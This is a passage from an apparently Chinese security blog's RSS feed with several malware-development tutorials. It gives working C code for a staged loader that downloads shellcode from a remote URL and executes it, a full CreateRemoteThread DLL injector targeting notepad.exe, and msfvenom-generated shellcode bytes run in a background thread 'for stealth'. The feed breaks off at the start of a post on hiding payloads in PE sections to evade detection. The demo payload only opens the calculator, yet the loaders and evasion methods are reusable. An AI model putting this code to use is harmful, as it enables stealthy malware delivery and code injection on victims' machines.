    DWORD dwStatusCodeSize = sizeof(dwStatusCode);

    // 通过WinINet下载Shellcode (使用宽字节API)
    // InternetOpenW: 初始化应用程序对WinINet库的使用。
    hInternet = InternetOpenW(
        L&quot;Mozilla/5.0&quot;, // - lpszAgent: 指定User-Agent字符串。使用一个常见的浏览器UA，是基本的流量伪装技巧。
        INTERNET_OPEN_TYPE_PRECONFIG, // - dwAccessType: 指定WinINet库的访问方式。INTERNET_OPEN_TYPE_PRECONFIG表示使用默认的配置。
        NULL, NULL, 0);
    if (hInternet == NULL) {
        fwprintf(stderr, L&quot;InternetOpenW failed with error: %lu\n&quot;, GetLastError());
        return 1;
    }

    // 使用 InternetOpenUrlW 打开Url句柄
    hConnect = InternetOpenUrlW(hInternet, szUrl, NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_PRAGMA_NOCACHE, 0);
    if (hConnect == NULL) {
        fwprintf(stderr, L&quot;InternetOpenUrlW failed with error: %lu\n&quot;, GetLastError());
        InternetCloseHandle(hInternet);
        return 1;
    }

    // 检查HTTP状态码 (HttpQueryInfoW)
    // 注意：虽然这个API有W版本，但由于查询的是数字而非字符串，A/W版本在此处行为相同
    if (!HttpQueryInfoW(hConnect, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &amp;#x26;dwStatusCode, &amp;#x26;dwStatusCodeSize, NULL)) {
        fwprintf(stderr, L&quot;HttpQueryInfoW (status code) failed with error: %lu\n&quot;, GetLastError());
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hInternet);
        return 1;
    }

    if (dwStatusCode != HTTP_STATUS_OK) { // HTTP_STATUS_OK is 200
        fwprintf(stderr, L&quot;Server returned non-200 status code: %lu\n&quot;, dwStatusCode);
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hInternet);
        return 1;
    }
    wprintf(L&quot;Server returned 200 OK.\n&quot;);

    // 查询内容长度 (HttpQueryInfoW)
    if (!HttpQueryInfoW(hConnect, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &amp;#x26;dwContentLength, &amp;#x26;dwContentLengthSize, NULL) || dwContentLength == 0) {
        fwprintf(stderr, L&quot;HttpQueryInfoW (content length) failed or content is empty. Error: %lu\n&quot;, GetLastError());
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hInternet);
        return 1;
    }

    wprintf(L&quot;Shellcode size: %lu bytes.\n&quot;, dwContentLength);


    // 分配内存
    pShellcode = VirtualAlloc(NULL, dwContentLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (pShellcode == NULL) {
        fwprintf(stderr, L&quot;VirtualAlloc failed with error: %lu\n&quot;, GetLastError());
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hInternet);
        return 1;
    }

    wprintf(L&quot;Executable memory allocated at: %p\n&quot;, pShellcode);

    // 读取Shellcode
    if (!InternetReadFile(hConnect, pShellcode, dwContentLength, &amp;#x26;dwBytesRead) || dwBytesRead != dwContentLength) {
        fwprintf(stderr, L&quot;InternetReadFile failed or did not read all bytes. Error: %lu\n&quot;, GetLastError());
        VirtualFree(pShellcode, 0, MEM_RELEASE);
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hInternet);
        return 1;
    }

    wprintf(L&quot;Shellcode downloaded successfully.\n&quot;);
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);

    // 执行Shellcode
    wprintf(L&quot;Executing shellcode...\n&quot;);
    hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pShellcode, NULL, 0, NULL);
    if (hThread == NULL) {
        fwprintf(stderr, L&quot;CreateThread failed with error: %lu\n&quot;, GetLastError());
        VirtualFree(pShellcode, 0, MEM_RELEASE);
        return 1;
    }

    WaitForSingleObject(hThread, 2000);
    wprintf(L&quot;Shellcode execution finished.\n&quot;);

    // 清理
    CloseHandle(hThread);
    VirtualFree(pShellcode, 0, MEM_RELEASE);

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;执行效果如下&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgExecution}
alt=&apos;分段式载荷加载器执行效果&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/image-20250725152146715.BzpBto8A.png"/><enclosure url="/_astro/image-20250725152146715.BzpBto8A.png"/></item><item><title>详解 Windows DLL 远程注入的实现原理</title><link>https://blog.0xd00.com/blog/createremotethread-dll-injection</link><guid isPermaLink="true">https://blog.0xd00.com/blog/createremotethread-dll-injection</guid><description>深入剖析 Windows DLL 注入技术。本文从 DLL 的 PE 结构、导出表、导入表讲起，通过 C++ 代码演示本地加载与远程注入的完整流程，包括进程枚举、内存操作和利用 CreateRemoteThread 创建远程线程。</description><pubDate>Wed, 23 Jul 2025 11:09:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Image } from &apos;astro:assets&apos;&lt;/p&gt;
&lt;p&gt;import imgPeHeader from &apos;./assets/image-20250723142211223.png&apos;
import imgLoaderResult from &apos;./assets/image-20250723142642280.png&apos;
import imgInjectionResult from &apos;./assets/image-20250723154543840.png&apos;&lt;/p&gt;
&lt;h2&gt;简单介绍DLL&lt;/h2&gt;
&lt;p&gt;DLL (Dynamic-Link Library)，即&quot;动态链接库&quot;，是一个编译后的代码和资源库，它允许多个可执行文件&lt;code&gt;.exe&lt;/code&gt;在运行时动态加载并共享其功能，类似于Linux的共享对象&lt;code&gt;.so&lt;/code&gt;。它的核心优势是&lt;strong&gt;运行时链接(Runtime linking)&lt;/strong&gt;，而非编译时将所有代码都静态链接到主程序中。&lt;/p&gt;
&lt;p&gt;DLL文件和EXE文件一样，都使用PE文件格式。他们的主要区别在于PE头中的一个标志位，以及DLL文件一般不能独立运行，需要通过其他程序加载并运行。&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgPeHeader}
alt=&apos;PE头中的标志位&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;h3&gt;导出表&lt;/h3&gt;
&lt;p&gt;正常情况下DLL需要通过导出表来展示一个可供调用的函数列表，当一个程序想要调用DLL中的函数时，它就会通过这个导出表来找到函数的实际内存地址。&lt;/p&gt;
&lt;p&gt;本例中方便起见不导出函数，直接通过&lt;code&gt;DLL_PROCESS_ATTACH&lt;/code&gt;来展示DLL被载入后的运行效果。&lt;/p&gt;
&lt;h2&gt;DLL本地注入&lt;/h2&gt;
&lt;p&gt;这个 DLL 在被加载时，会利用其 &lt;code&gt;DllMain&lt;/code&gt; 入口点弹出一个消息框。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;#include &amp;#x3C;Windows.h&gt;
#include &amp;#x3C;stdio.h&gt;

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {

    switch (dwReason) {
    case DLL_PROCESS_ATTACH: {
        MessageBoxA(NULL, &quot;DLL Injected Successfully!&quot;, &quot;Success&quot;, MB_OK);
        break;
    };
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }

    return TRUE;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;加载器程序调用 &lt;code&gt;LoadLibraryA&lt;/code&gt; 来加载 &lt;code&gt;Dll.dll&lt;/code&gt;。这个 API 会触发 Windows 加载器执行完整的 DLL 加载流程：解析 PE 头、映射段、处理导入、最后调用 DllMain。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;#include &amp;#x3C;Windows.h&gt;
#include &amp;#x3C;stdio.h&gt;
#include &amp;#x3C;process.h&gt;

int main() {
    const char* dllPath = &quot;mydll.dll&quot;;
    printf(&quot;Attempting to load %s...\n&quot;, dllPath);

    HMODULE hDll = LoadLibraryA(dllPath);

    if (hDll == NULL) {
        printf(&quot;Failed to load DLL. Error code: %d\n&quot;, GetLastError());
        return 1;
    }

    printf(&quot;DLL loaded successfully. Handle: %p\n&quot;, hDll);
    printf(&quot;Check for the message box!\n&quot;);

    system(&quot;pause&quot;);

    FreeLibrary(hDll);
    printf(&quot;DLL unloaded.\n&quot;);

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgLoaderResult}
alt=&apos;成功运行loader并弹出messagebox&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;h2&gt;DLL远程注入&lt;/h2&gt;
&lt;p&gt;远程注入的核心思想是：在目标进程的上下文中，强制其调用 LoadLibraryA 来加载我们指定的 DLL。由于进程地址空间的隔离性，这需要一系列精确的跨进程内存操作。&lt;/p&gt;
&lt;h3&gt;定位目标进程&lt;/h3&gt;
&lt;p&gt;通过 &lt;a href=&quot;https://learn.microsoft.com/zh-cn/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot&quot;&gt;CreateToolhelp32Snapshot&lt;/a&gt; API 遍历系统进程，根据进程名找到其 PID。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;// 因为现代Windows默认使用Unicode编码，所以这里直接使用宽字符比较函数 _wcsicmp
DWORD FindProcessIdByName(const wchar_t* processName) {
    PROCESSENTRY32W entry; // 明确使用宽字符版本
    entry.dwSize = sizeof(PROCESSENTRY32W);

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (Process32FirstW(snapshot, &amp;#x26;entry)) { // 使用 Process32FirstW
        do {
            // 使用 _wcsicmp 进行不区分大小写的宽字符比较
            if (_wcsicmp(entry.szExeFile, processName) == 0) {
                CloseHandle(snapshot);
                return entry.th32ProcessID;
            }
        } while (Process32NextW(snapshot, &amp;#x26;entry)); // 使用 Process32NextW
    }

    CloseHandle(snapshot);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;获取目标句柄&lt;/h3&gt;
&lt;p&gt;调用 &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess&quot;&gt;OpenProcess&lt;/a&gt;获取一个拥有足够权限(&lt;code&gt;PROCESS_ALL_ACCESS&lt;/code&gt;)的句柄。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;    HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, pid);
    if (hProcess == NULL) {
        wprintf(L&quot;Failed to open target process (Error: %d). Try running as Administrator.\n&quot;, GetLastError());
        return 1;
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;在目标进程中分配内存&lt;/h3&gt;
&lt;p&gt;使用&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex&quot;&gt;VirtualAllocEx&lt;/a&gt;在目标进程的地址空间中申请一块足以保存DLL的内存空间。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;    LPVOID pRemoteMem = VirtualAllocEx(hProcess, NULL, dllPathSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pRemoteMem == NULL) {
        wprintf(L&quot;VirtualAllocEx failed. Error: %d\n&quot;, GetLastError());
        CloseHandle(hProcess);
        return 1;
    }

### 写入DLL路径

使用 [WriteProcessMemory](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory) 将我们的 DLL 路径字符串写入到刚刚在远程进程中分配的内存里。

```c
    // 写入内存时，也要提供正确的字节大小
    if (!WriteProcessMemory(hProcess, pRemoteMem, dllPath, dllPathSize, NULL)) {
        wprintf(L&quot;WriteProcessMemory failed. Error: %d\n&quot;, GetLastError());
        VirtualFreeEx(hProcess, pRemoteMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;查找 LoadLibraryW 地址&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;LoadLibraryW&lt;/code&gt; 用于加载一个调用它的进程内部的 DLL。 由于目标是加载远程进程内部而非本地进程内部的 DLL，所以不能直接调用它。 相反，必须检索 &lt;code&gt;LoadLibraryW&lt;/code&gt; 的地址并将其作为参数传递给进程中远程创建的线程，同时将 DLL 名称作为其参数。 这起作用是因为 &lt;code&gt;LoadLibraryW&lt;/code&gt; WinAPI 的地址在远程进程中和在本地进程中相同。 为了确定 WinAPI 的地址，需要使用 &lt;code&gt;GetProcAddress&lt;/code&gt; 和 &lt;code&gt;GetModuleHandle&lt;/code&gt; 。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;    // 必须使用 LoadLibraryW，而不是 LoadLibraryA
    LPVOID pLoadLibraryW = (LPVOID)GetProcAddress(GetModuleHandleW(L&quot;kernel32.dll&quot;), &quot;LoadLibraryW&quot;);
    if (pLoadLibraryW == NULL) {
        wprintf(L&quot;GetProcAddress for LoadLibraryW failed. Error: %d\n&quot;, GetLastError());
        CloseHandle(hProcess);
        return 1;
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;创建远程线程&lt;/h3&gt;
&lt;p&gt;调用 &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread&quot;&gt;CreateRemoteThread&lt;/a&gt;，让它在目标进程中创建一个新线程。这个新线程的起始执行地址被设置为 LoadLibraryA 的地址，其接收的参数则被设置为我们刚刚写入的 DLL 路径的地址。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;    HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLoadLibraryW, pRemoteMem, 0, NULL);
    if (hRemoteThread == NULL) {
        wprintf(L&quot;CreateRemoteThread failed. Error: %d\n&quot;, GetLastError());
        VirtualFreeEx(hProcess, pRemoteMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;完整代码&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;#include &amp;#x3C;Windows.h&gt;
#include &amp;#x3C;stdio.h&gt;
#include &amp;#x3C;TlHelp32.h&gt;

// 因为现代Windows默认使用Unicode编码，所以这里直接使用宽字符比较函数 _wcsicmp
DWORD FindProcessIdByName(const wchar_t* processName) {
    PROCESSENTRY32W entry; // 明确使用宽字符版本
    entry.dwSize = sizeof(PROCESSENTRY32W);

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (Process32FirstW(snapshot, &amp;#x26;entry)) { // 使用 Process32FirstW
        do {
            // 使用 _wcsicmp 进行不区分大小写的宽字符比较
            if (_wcsicmp(entry.szExeFile, processName) == 0) {
                CloseHandle(snapshot);
                return entry.th32ProcessID;
            }
        } while (Process32NextW(snapshot, &amp;#x26;entry)); // 使用 Process32NextW
    }

    CloseHandle(snapshot);
    return 0;
}

int wmain() { // 使用 wmain 作为 Unicode程序的入口点
    const wchar_t* targetProcessName = L&quot;notepad.exe&quot;; // 使用 L 前缀创建宽字符字符串
    wchar_t dllPath[MAX_PATH];

    // 使用 GetFullPathNameW
    if (GetFullPathNameW(L&quot;Dll.dll&quot;, MAX_PATH, dllPath, NULL) == 0) {
        wprintf(L&quot;Failed to get full path of DLL. Error: %d\n&quot;, GetLastError());
        return 1;
    }

    wprintf(L&quot;Targeting process: %s\n&quot;, targetProcessName);
    wprintf(L&quot;DLL to inject: %s\n&quot;, dllPath);

    DWORD pid = FindProcessIdByName(targetProcessName);
    if (pid == 0) {
        wprintf(L&quot;Could not find process. Is %s running?\n&quot;, targetProcessName);
        return 1;
    }
    wprintf(L&quot;Found PID: %d\n&quot;, pid);

    HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, pid);
    if (hProcess == NULL) {
        wprintf(L&quot;Failed to open target process (Error: %d). Try running as Administrator.\n&quot;, GetLastError());
        return 1;
    }

    // 计算内存大小时，要乘以 sizeof(wchar_t)
    size_t dllPathSize = (wcslen(dllPath) + 1) * sizeof(wchar_t);

    LPVOID pRemoteMem = VirtualAllocEx(hProcess, NULL, dllPathSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pRemoteMem == NULL) {
        wprintf(L&quot;VirtualAllocEx failed. Error: %d\n&quot;, GetLastError());
        CloseHandle(hProcess);
        return 1;
    }

    // 写入内存时，也要提供正确的字节大小
    if (!WriteProcessMemory(hProcess, pRemoteMem, dllPath, dllPathSize, NULL)) {
        wprintf(L&quot;WriteProcessMemory failed. Error: %d\n&quot;, GetLastError());
        VirtualFreeEx(hProcess, pRemoteMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }

    // 必须使用 LoadLibraryW，而不是 LoadLibraryA
    LPVOID pLoadLibraryW = (LPVOID)GetProcAddress(GetModuleHandleW(L&quot;kernel32.dll&quot;), &quot;LoadLibraryW&quot;);
    if (pLoadLibraryW == NULL) {
        wprintf(L&quot;GetProcAddress for LoadLibraryW failed. Error: %d\n&quot;, GetLastError());
        CloseHandle(hProcess);
        return 1;
    }

    HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLoadLibraryW, pRemoteMem, 0, NULL);
    if (hRemoteThread == NULL) {
        wprintf(L&quot;CreateRemoteThread failed. Error: %d\n&quot;, GetLastError());
        VirtualFreeEx(hProcess, pRemoteMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }

    wprintf(L&quot;Injection successful. Waiting for remote thread to finish...\n&quot;)
    WaitForSingleObject(hRemoteThread, INFINITE);

    CloseHandle(hRemoteThread);
    VirtualFreeEx(hProcess, pRemoteMem, 0, MEM_RELEASE);
    CloseHandle(hProcess);

    wprintf(L&quot;Cleanup complete.\n&quot;);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;运行效果&lt;/h3&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgInjectionResult}
alt=&apos;DLL注入运行效果&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/image-20250723142211223.HF1xCK4K.png"/><enclosure url="/_astro/image-20250723142211223.HF1xCK4K.png"/></item><item><title>使用 CreateThread 实现 Shellcode 的异步执行</title><link>https://blog.0xd00.com/blog/async-shellcode-with-createthread</link><guid isPermaLink="true">https://blog.0xd00.com/blog/async-shellcode-with-createthread</guid><description>本文讲解为何直接运行 shellcode 会阻塞主程序，并演示如何通过 CreateThread API 在新线程中异步执行 payload，从而提升隐蔽性。同时涵盖 VirtualAlloc 内存分配与 EXITFUNC 参数的关键作用。</description><pubDate>Tue, 22 Jul 2025 15:17:51 GMT</pubDate><content:encoded>&lt;p&gt;import { Image } from &apos;astro:assets&apos;&lt;/p&gt;
&lt;p&gt;import imgResult from &apos;./assets/image-20250722164007830.png&apos;&lt;/p&gt;
&lt;p&gt;之前的文章中我们都是通过函数指针来运行&lt;code&gt;shellcode&lt;/code&gt;的，但这样存在一个问题，程序在运行到&lt;code&gt;shellcode&lt;/code&gt;时会卡住，在等待&lt;code&gt;shellcode&lt;/code&gt;运行结束并返回后才能继续运行或退出。&lt;/p&gt;
&lt;p&gt;为了避免这一情况并提高shellcode的隐蔽性，我们通常会使用异步调用的方式如&lt;code&gt;CreateThread&lt;/code&gt;创建一个新的线程来运行&lt;code&gt;shellcode&lt;/code&gt;，这样主程序可以继续运行来伪装一个正常程序的行为，&lt;code&gt;shellcode&lt;/code&gt;也能在后台偷偷执行。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;#include &amp;#x3C;Windows.h&gt;
#include &amp;#x3C;stdio.h&gt;

// msfvenom -p windows/x64/exec CMD=calc.exe -a x64 -f c EXITFUNC=thread
unsigned char buf[] =
&quot;\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50&quot;
&quot;\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52&quot;
&quot;\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a&quot;
&quot;\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41&quot;
&quot;\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52&quot;
&quot;\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48&quot;
&quot;\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40&quot;
&quot;\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48&quot;
&quot;\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41&quot;
&quot;\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1&quot;
&quot;\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c&quot;
&quot;\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01&quot;
&quot;\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a&quot;
&quot;\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b&quot;
&quot;\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00&quot;
&quot;\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b&quot;
&quot;\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd&quot;
&quot;\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0&quot;
&quot;\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff&quot;
&quot;\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00&quot;;

int main() {
	HANDLE hThread = NULL;
	LPVOID lpShellcode = NULL;

	// === 步骤 1: 分配可执行内存 ===
	// 使用 VirtualAlloc 在当前进程的虚拟地址空间中分配一块内存。
	// NULL: 让系统自动选择地址。
	// sizeof(buf): 分配的大小与我们的Shellcode大小相同。
	// MEM_COMMIT | MEM_RESERVE: 同时预定并提交物理内存。
	// PAGE_EXECUTE_READWRITE: 将这块内存标记为可读、可写、可执行。
	// 这是最危险的权限组合，也是现代EDR重点监控的标志。
	printf(&quot;1. Allocating executable memory...\n&quot;);
	lpShellcode = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (lpShellcode == NULL) {
		printf(&quot;VirtualAlloc failed. Error code: %d\n&quot;, GetLastError());
		return 1;
	}
	printf(&quot;   Memory allocated at: 0x%p\n&quot;, lpShellcode);

	// === 步骤 2: 复制Shellcode到可执行内存中 ===
	// 现在，我们将Shellcode字节码复制到刚刚申请的内存区域。
	// RtlMoveMemory 是一个宏，通常被定义为 memcpy。
	printf(&quot;2. Copying shellcode to the allocated memory...\n&quot;);
	RtlMoveMemory(lpShellcode, buf, sizeof(buf));

	// === 步骤 3: 创建新线程以执行Shellcode ===
	// 使用 CreateThread 创建一个新线程。
	// [关键!] 线程的起始地址 (lpStartAddress) 被设置为我们Shellcode所在的地址。
	// 当线程开始运行时，CPU会直接从这个地址取指令并执行。
	printf(&quot;3. Creating a new thread to execute the shellcode...\n&quot;);
	hThread = CreateThread(
		NULL,                   // 默认安全属性
		0,                      // 默认栈大小
		(LPTHREAD_START_ROUTINE)lpShellcode, // 将Shellcode的地址作为函数指针
		NULL,                   // 无参数传递给Shellcode
		0,                      // 默认创建标志
		NULL);                  // 不需要返回线程ID

	if (hThread == NULL) {
		printf(&quot;CreateThread failed. Error code: %d\n&quot;, GetLastError());
		VirtualFree(lpShellcode, 0, MEM_RELEASE); // 清理内存
		return 1;
	}
	printf(&quot;   Thread created successfully.\n&quot;);

	// === 步骤 4: 预计等待线程执行完成时间 ===
	// 不用等待Shellcode执行完成，只需要预计一个执行完成时间便继续运行程序剩余代码。
	printf(&quot;4. Waiting for the thread to finish...\n&quot;);
	WaitForSingleObject(hThread, INFINITE);
	printf(&quot;   Thread finished.\n&quot;);

	// === 步骤 5: 清理资源 ===
	// 关闭线程句柄并释放我们申请的内存。
	printf(&quot;5. Cleaning up resources...\n&quot;);
	CloseHandle(hThread);
	VirtualFree(lpShellcode, 0, MEM_RELEASE);

	return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgResult}
alt=&apos;成功运行计算器后程序继续运行的结果&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;可以看到，在成功运行计算器后程序还在继续运行。&lt;/p&gt;
&lt;h2&gt;小插曲&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;msfvenom -p windows/x64/exec CMD=calc.exe -a x64 -f c EXITFUNC=thread
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在生成&lt;code&gt;shellcode&lt;/code&gt;是可以看到我指定了一个新的参数&lt;code&gt;EXITFUNC=thread&lt;/code&gt;若不指定，标准shellcode在执行完毕后，会尝试执行ret指令返回。但在我们的加载器场景中，线程是直接跳转到shellcode地址开始执行的，并没有一个合法的返回地址压在栈上。这导致ret指令会弹出一个无效地址，从而触发&lt;code&gt;0xC000D0005: Access Violation&lt;/code&gt;致命错误，导致线程崩溃。&lt;/p&gt;
&lt;p&gt;通过&lt;code&gt;EXITFUNC=thread&lt;/code&gt;就可以在Shellcode的末尾自动添加调用&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-exitthread&quot;&gt;ExitThread&lt;/a&gt;的代码，从而优雅的退出线程。&lt;/p&gt;</content:encoded><h:img src="/_astro/image-20250722164007830.Hl6WBbXj.png"/><enclosure url="/_astro/image-20250722164007830.Hl6WBbXj.png"/></item><item><title>利用 PE 文件段 (.data, .text, .rsrc) 注入并隐藏 Shellcode</title><link>https://blog.0xd00.com/blog/windows-pe-payload-storage-locations</link><guid isPermaLink="true">https://blog.0xd00.com/blog/windows-pe-payload-storage-locations</guid><description>一篇关于 Shellcode 持久化与隐藏的实战指南。学习如何通过修改代码属性和利用资源节，将你的 payload 巧妙地嵌入到 PE 文件的不同段（.data, .rdata, .text, .rsrc）中，有效绕过基本检测。</description><pubDate>Wed, 16 Jul 2025 15:13:31 GMT</pubDate><content:encoded>&lt;p&gt;import { Image } from &apos;astro:assets&apos;&lt;/p&gt;
&lt;p&gt;import imgMsfGen from &apos;./assets/image-20250716150601733.png&apos;
import imgDataHexView from &apos;./assets/image-20250716142818193.png&apos;
import imgDataSection from &apos;./assets/image-20250716143524491.png&apos;
import imgRdataSection from &apos;./assets/image-20250716150159009.png&apos;
import imgRdataHexView from &apos;./assets/image-20250716144356061.png&apos;
import imgTextSection from &apos;./assets/image-20250716155420866.png&apos;
import imgTextHexView from &apos;./assets/image-20250716155402226.png&apos;
import imgRunEffect from &apos;./assets/image-20250716172048266.png&apos;
import imgX64dbgView from &apos;./assets/image-20250716172259827.png&apos;
import imgRsrcHexView from &apos;./assets/image-20250716170703790.png&apos;&lt;/p&gt;
&lt;p&gt;shellcode可以根据需要保存在PE结构的多个不同段中。不同的段拥有不同的属性（如读、写、执行权限），了解并利用这些特性可以方便我们将 Payload 放置到最合适的位置来达到一定的伪装效果。&lt;/p&gt;
&lt;p&gt;首先我们生成一段弹出计算器的&lt;code&gt;shellcode&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgMsfGen}
alt=&apos;msf生成shellcode&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;h2&gt;.data段&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;#include &quot;windows.h&quot;

unsigned char buf[] =
        &quot;\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50&quot;
